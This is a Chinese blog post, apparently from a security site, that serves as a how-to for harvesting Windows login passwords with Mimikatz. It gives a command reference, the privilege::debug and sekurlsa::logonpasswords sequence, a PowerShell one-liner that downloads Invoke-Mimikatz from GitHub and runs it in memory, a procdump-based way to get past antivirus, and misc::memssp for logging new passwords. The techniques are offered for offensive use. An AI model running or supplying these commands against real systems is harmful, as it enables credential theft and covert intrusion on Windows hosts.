今日博主一篇文章都没更新 | 共分享了个网络安全资讯

Mimikatz抓取密码的骚操作

  • 内容
  • 相关

前言

之前在开设Admin401站点时已经发布过这个程序,今天就再次分享一下吧

简介

mimikatz是一款功能强大的轻量级调试神器,通过它你可以提升进程权限注入进程读取进程内存,当然他最大的亮点也是让阿刚最感兴趣的就是他可以直接从 lsass中获取当前处于Active系统的登录密码, lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在 lsass内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中, 而mimikatz正是通过对lsass的逆算获取到明文密码!也就是说只要你不重启电脑,就可以通过他获取到登陆密码,只限当前登陆系统!

基本命令

cls-----------------------------清屏
exit----------------------------退出
version------------查看mimikatz的版本
system::user-----查看当前登录的系统用户
system::computer-------查看计算机名称
process::list------------------列出进程
process::suspend 进程名称 -----暂停进程
process::stop 进程名称---------结束进程
process::modules --列出系统的核心模块及所在位置
service::list---------------列出系统的服务
service::remove-----------移除系统的服务
service::start stop 服务名称--启动或停止服务
privilege::list---------------列出权限列表
privilege::enable--------激活一个或多个权限
privilege::debug-----------------提升权限
nogpo::cmd------------打开系统的cmd.exe
nogpo::regedit -----------打开系统的注册表
nogpo::taskmgr-------------打开任务管理器
ts::sessions-----------------显示当前的会话
ts::processes------显示进程和对应的pid情况等
sekurlsa::wdigest-----获取本地用户信息及密码
sekurlsa::tspkg------获取tspkg用户信息及密码
sekurlsa::logonPasswords--获登陆用户信息及密码

使用方法

通常只需要运行这两条命令:

privilege::debug  //提升权限
sekurlsa::logonpasswords   //抓取密码
也可以用powershell来抓取,仅需一条命令:
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz"

其他小技巧

小技巧收集于互联网

1.绕过杀软抓取密码

利用 procdump 导出 lsass.exe 在内存里的数据,之后 mimikatz 本地读取 操作系统版本要一致

sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

2.Invoke-Mimikatz

内存中执行 不会在本地储存文件,前提是要支持 powershell

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz"
3.若管理员有每过几天就改密码的习惯,但是mimikatz抓取到的密码都是老密码用QuarksPwDump等抓的hash也是老hash,新密码却抓不到的情况下可以使用以下方法尝试解决
privilege::debug
misc::memssp
记录的结果在c:\windows\system32\mimilsa.log每次验证都会记录,如 锁屏 等 重启失效出现如上问题是因为管理一直没注销过,都是直接断开连接,lsass进程里面还吃存放的老的。也可以直接logoff,但是这样会很明显。
猫先生已经设置回复可下载

本文标签:

收录状态:百度√[百度已收录]丨360×[360未收录]丨搜狗√[搜狗已收录]

版权声明:若无特殊注明,本文皆为《Mrcat》原创,转载请保留文章出处。

本文链接:Mimikatz抓取密码的骚操作 - https://mracat.com/208.html

用手机扫描访问本文章

发表评论

电子邮件地址不会被公开。 必填项已用*标注

请勿乱用他人邮箱,否者您将收不到最新动态消息~